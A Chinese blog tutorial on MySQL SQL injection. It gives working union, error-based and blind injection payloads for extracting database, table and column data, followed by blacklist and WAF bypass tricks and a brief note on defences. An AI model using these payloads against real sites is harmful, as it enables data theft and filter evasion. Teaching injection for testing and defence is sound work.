SQL注入原理及步骤以及黑名单绕过方式

原理

mysql5.0以上的版本存在一个information_schema数据库,information_schema数据库包含3个表如下:

步骤

判断是否存在sql注入:

分别输入不同的id值:

——有结果:1’and 1=1#

——无结果:1’and 1=2#

——出错:1'

——正常:1''(两个单引号)

换成双引号同理。

判断查询结果有多少列:

——1’order by 1#(不报错)

——1’order by 2#(不报错)

——1’order by 3#(不报错)

——1’order by 4#(报错)

——这就说明结果有3列。

选择注入方式:

联合注入(union)、报错注入(extractvalue、updatexml)、布尔盲注(当回显只能判断对错的时候用)、时间盲注(布尔盲注的升级版,没有回显或者回显判断不了对错的时候用,根据页面的反馈时间来判断对错)。

获取数据库名:

联合注入:-1’union select 1,database(),3#

报错注入:'and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

布尔盲注:1' and ascii(substr((select database()),1,1))=115--+

时间盲注:1' and if(ascii(substr((select database()),1,1))=115,sleep(3),1)--+

获取表名:

-1’union select 1,(select table_name from information_schema.tables where table_schema=’数据库名’limit 0,1),3#

也可以不用limit,表示从哪一列开始,取多少列。

获取列名:

-1’union select 1,(select group_concat(column_name)from information_schema.columns where table_schema=’数据库名’ and table_name=’表名’),3#

获取列中数据:

-1’ union select 1,(select 列名 from 表名 limit 0,1),3#

黑名单绕过

空格绕过:

/**/(/的url编码为%2f,*的url编码为%2a)

() ——例如:select(1),2,3;(括号的url编码为%28、%29)

回车(url编码为%0a)

`(url编码为%60)

tab(url编码为%09(水平)、%0b(垂直))

大小写绕过

双写关键字绕过

绕过and和or和=:

and可以用%26%26替代,也可以用&&表示。

or可以用||表示。

=可以用like代替。

函数名绕过:

sleep()可以改为benchmark()。

ascii()可以改为ord()。

逗号绕过:

select substr('abc',1,1);

可以改为:select substr('abc' from 1 for 1);

select 1,2,3;

可以改为:select * from (select 1)a join (select 2)b join (select 3)c;

select * from users limit 0,1;

可以改为:select * from users limit 1 offset 0;

  • 27
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
SQL注入是一种常见的安全漏洞,它允许攻击者通过在应用程序的输入字段中插入恶意的SQL代码来执行未经授权的操作或者绕过身份验证。下面是SQL注入绕过的一些原理: 1. 输入验证不充分:当应用程序没有对用户输入进行充分的验证和过滤时,攻击者可以在输入字段中插入恶意的SQL代码。 2. 字符串拼接:当应用程序使用字符串拼接的方式构建SQL查询语句时,攻击者可以通过在输入字段中插入特殊字符来改变原始查询的语义。 3. 不安全的查询参数化:如果应用程序没有使用参数化查询或预编译语句来处理用户输入,而是直接将用户输入拼接到SQL查询语句中,攻击者可以通过在输入字段中插入恶意代码来修改查询的行为。 4. 盲注:攻击者可以通过不断尝试不同的输入来推测数据库中的信息,例如使用布尔盲注或时间盲注等技术。 为了防止SQL注入攻击,开发人员应该采取以下措施: 1. 输入验证和过滤:对用户输入进行严格的验证和过滤,确保只接受预期的数据类型和格式。 2. 使用参数化查询或预编译语句:使用参数化查询或预编译语句来处理用户输入,确保输入不会被解释为SQL代码的一部分。 3. 最小权限原则:为数据库用户分配最小的权限,限制其对数据库的访问和操作。 4. 安全编码实践:遵循安全编码实践,包括使用安全的密码存储和传输,避免直接将敏感信息存储在数据库中等。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

“Script Kid”

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值